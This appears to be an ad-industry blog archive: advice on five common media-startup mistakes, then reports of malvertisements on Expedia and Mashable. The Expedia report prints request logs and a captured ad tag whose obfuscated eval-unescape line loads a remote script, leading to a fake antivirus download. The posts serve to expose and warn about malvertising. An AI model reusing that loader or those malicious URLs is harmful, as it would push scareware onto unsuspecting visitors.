Top 5 Media Startup Mistakes

October 7th, 2010

My first title for this post was “top 5 ad-network mistakes”… then I realized that ad-network was a “bad” term… so intead I’m going to refer to a “media startup”. I’ll put networks, DSPs, trade-desks, dynamic creative providers… any company that buys & sells media (*cough* … looks like a network.. *cough*) under this new “media startup” bucket.

It seems every young media startup I talk to keeps making the same mistakes over and over. Well, here goes in no particular order (even though they are numbered #1-#5) my list of things every startup needs to watch out for… maybe I can help prevent someone from making the same mistake!

#1 – Credit / Payment Terms

A $1M insertion order is amazing.

A $1M insertion order where you get paid net-90 but you pay out net-30 can kill your business.

A $1M insertion order where you get paid net-60 but you pay out net-60… can also kill your business.

Here’s the problem. Agency margins have been on a nose dive downwards for years now. One of the ways agencies drive up their profitability by paying everybody late and making a little extra $ on the interest they earn by keeping the money in their bank account. Even if you think the payment terms line up, just one client that sits on their check for too long can be tdetrimental to your business. If you don’t pay your big sellers they cut you off, killing your network. If you push to hard on the agency, they cut you out of next quarter’s budget.

Proper float & credit management is a must for any network. Have an open conversation with agencies and understand when you can realistically expect to be paid, and then make sure there’s always enough cash in the bank to pay sellers and publishers (and employees!). Many a media startup has gone out of business by badly managing their float.

#2 – Boobs

Did you know that perezhilton.com, wwtdd.com and idontlikeyouinthatway.com are present in some shape or form on every single exchange and supply platform from the aggregators (PubMatic, Rubicon, Admeld, OpenX, etc.) to the big guys (Right Media, Google)? These “Entertainment” sites make liberal usage of pictures of scantily clad celebrities, their sexcapades and lots of other inappropriate content.

Now on a normal remarketing campaign the performance might be great, but there’s nothing worse than an angry email from your advertiser because your ads just showed up next to this page.

In the best case your reputation just took a little hit. In the worst case your advertisers simply refuse to pay out multi-hundred thousand dollar budget amounts…. ouch.

It’s imperative that a network or buying desk has a strategy in place for managing inappropriate and sensitive content. Don’t assume that the “Entertainment” channel is fun sites that you can run any advertiser on… you’ll be in serious trouble if you do. On RTB you obviously get the URL, so use it. Supply platforms also have various forms of brand protection… Advertising online is kind of like teenage sex… first take a sex-ed class to learn what the forms of protection are … and then don’t forget to use protection in practice!

#3 – Malvertisements

Here’s a very common story. One of your sales guys comes in super excited… he just closed an *amazing* deal. $0.75 CPM, no goals, all european countries for a major brand-name advertiser with a huge $100k budget. To top it off, the buyer will pre-pay $50k up front and promises net-15 payment terms.

The deal goes live… and within 24-hours exchanges shut you down and all of your publishers turn off their tags because for some strange reason all of their visitors are complaining that you are trying to install some sort of trojan/malware program with your ads

Yep, there’s bad guys out there that will pay you serious cash to run ads that are really viruses in disguise. When you load them from the office they behave. Enter night-time and they turn into nasty beasts that will cost you publisher relationships, a bad rap with Sandi and potential scrutiny from the feds.

General rule of thumb… if the deal is too good to be true, it probably is. Google has done a terrific job setting up a website to educate the industry about this on www.anti-malvertising.com. Make sure every single one of your sales & ops staff reads this entire site in detail.

#4 – Not Focusing on Sales

If you are building something that’s amazing & scientific, it’s probably the wrong thing to build. No seriously… If you have even one PhD on staff you’re probably doing something wrong.

Quarter after quarter at Right Media I’d work with a team of engineers to push out improvements & features to the optimization system to increase efficiency, ROI & spend. You’d think that in a business running several billion ads a day that this would be the single largest driver of company revenue. Yet… one sales guy at the original Right Media “Remix” Ad-Network single-handedly blew me out of the water one quarter with a single insertion order… and the deal didn’t even use optimization.

Relationships matter… a lot. Not every buyer out there just wants to buy into a magic black box that will auto-magically uber-optimize their life. Advertising is, believe it or not, about more than just clicks & conversions. There’s an inherent understanding of the target audience and the media and buyers want to work with companies that understand how they are thinking and who they are looking for. This means that the buyer wants to talk to someone he can relate to, who listens to him and who he can trust.

This is why every media startup needs a strong sales team. You might have the greatest technology in the world, but if you can’t sell it, it’s not going to get you far. The smart guy in the room? They’re the ones that hire the sales guy that will close the multi-million $ deal. [The above mentioned sales guy went to work for Invite Media, now of course a Google company...]

#5 – Over building technology

To some extent this is a follow-up on the previous point, but so many companies I talk to seriously over-build their technology. The market today is simple. Yes, we will definitely be in a world one day with “traders” sitting at terminals with tickers and fancy secondary future markets and involvement from some of Wall St’s finest…. just not today.

Today, one great trafficker/optimization analyst can beat almost any algorithm out there A team of 5 temps working for a week can apply categorizations to the top 1000 internet sites with similar accuracy to the fanciest semantic engine. A smart BD guy can buy KBB data w/out a deep API integration to a data exchange. A buying strategy of “remarketing” will out-perform any other campaign strategy or behavioral data by at least 10x.

Now don’t get me wrong… there is definitely a market for technology and technology is the only way in which you take the behaviors of brilliant individuals and scale them to be a hundred million $ business. Here’s the problem, most companies start by building technology, then trying to apply it. If you want to be a successful media business you should do the opposite. Hire some great people, watch how they operate, then build technology to automate what they do.

Conclusion…

The above 5 are common mistakes… but there’s one very simple rule of thumb any and every CEO, investor or board member can use to judge the quality of a media startup.

If you ain’t making money, you ain’t doing it right.

Seriously. More than 3 months old with 0 revenue? Likely to fail. Low revenue with high burn? Doomed to fail. The simple answer is it’s easy to get at least one agency to buy in as an early adopter and throw you some $ to “test”. If you can’t do this, you’re doing something wrong!

 

 

PS: Shameless self-promotional use of the blog here but… AppNexus is HIRING!!

Malvertisement on Expedia.com

November 23rd, 2008

Kudos to Andrew Dilling who sent me the full logs of this last night. I don’t have a contact @ Expedia but if someone does please shoot them a note.

Screenshot:

The popup:

Antivirus 2009 Download Page:

Tamper Data:

Calls:

GET http://www.expedia.com/
GET http://www.prolinar.com/?id=200811181921042
GET http://vernariostar.com/?id=200811181921042
GET http://www.google-analytics.com/ga.js
GET http://www.google-analytics.com/__utm.gif?utmwv[...]

http://vernariostar.com/includes.js

POST http://clicksoverview.com/soft.php?aid=075675&d=1&product=XPA&refer=dc77b3921
GET http://antivirusdefense.com/2009/1/freescan.php?nu=77075675

Code of the Ad tag page:

<html><body style="margin:0; padding:0;">
<a href="http://www.rhapsody.com/?ref=26ta7" target="_blank"><img src="http://www.triesto.com/banners-db/Rhapsody/Rhapsody_728x90_1.jpg" border=0></a>

<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));

</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-6195944-3");
pageTracker._trackPageview();
</script>

<script>
var action_URL = "http://clicksoverview.com/soft.php?aid=075675&d=1&product=XPA&refer=dc77b3921";
var target_URL = "http://clicksoverview.com/soft.php?aid=075675&d=1&product=XPA&refer=dc77b3921";
var warn_prod = "";
eval(unescape(‘%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%76%65%72%6E%61%72%69%6F%73%74%61%72%2E%63%6F%6D%2F%69%6E%63%6C%75%64%65%73%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B’));

</script>

</body></html>

First off — the ad is still showing. If someone has a contact @ Mashable, it’d be good to send them a note.

Greg Yardley thinks that this ad is not served by the Adsense network but instead by Mashable’s internal salesforce and that they are simply using Google’s new AdManager product as their adserving solution. Digging through the tags, it’s unclear whether or not this is the case. The actual creative is hosted on the domain “pagead2.googlesyndication.com” which has traditionally been used to host Adsense creatives and ad tags. Google’s AdManager runs on a different domain — “partner.googleadservices.com” — but it is certainly possible that AdManager and AdSense share the same underlying static content delivery system. (someone from Google care to comment?)

This is an excellent example of the fact that URLs generally don’t provide enough information to identify who is delivering the actual advertisement on the page. In this Mashable/Google page, it is unclear — it could be Mashable’s internal salesforce selling the ad — or there could be some server-side integration between AdManager and Adsense and Adsense is responsible for serving this actual creative. Right Media suffered from many of the same problems — people would always yell at the Right Media Ad-Network whenever a creative hosted at content.yieldmanager.com was causing problems, even though that single domain was shared across 50+ networks.

The solution that we came up with @ RM was to start using DNS CNAME aliases when returning any and all content. A CNAME is a simple DNS record that simply says — “this domain name is an alias for this other domain name”. So for example, the domain “content.cpxinteractive.com” is an alias for “content.yieldmanager.com”. This way, if CPX was responsible for serving a bad ad the offending URL would be “content.cpxinteractive.com/ad.jpg” and not “ad.yieldmanager.com/ad.jpg”. CNAMEs allow central serving systems (eg, AdManager) to both hand out tags and return creative content tagged with an owner while still maintaining the same internal systems.

Matt Cannon sent this one over to me yesterday afternoon. He saw Google showing this lovely ad for MediaMan on mashable.com at about 1pm EST. MediaMan has been identified a long time ago as a malvertisement so it’s a surprise to see them popping up on the Adsense network. Details are below. Now I’m not posting this to shame Google (I’m sure their content team has already pulled this ad) — I’m posting this more as a call to action. It’s time that we start grouping together as an industry to help stop this. More thoughts coming on that shortly.

Screengrab of ad on Mashable:



Source of the ad (warning I would not open this if I were you):

http://pagead2.googlesyndication.com/pagead/imgad?id=CLK8lreVvKyciwEQ2AUYWjIIqyqX6hvFaHc

Screengrab of the ad:



And for the first time in a while (probably because I’m in Moscow!) I actually got the actual trigger, and got this nice popup:



and was redirected to this lovely landing page: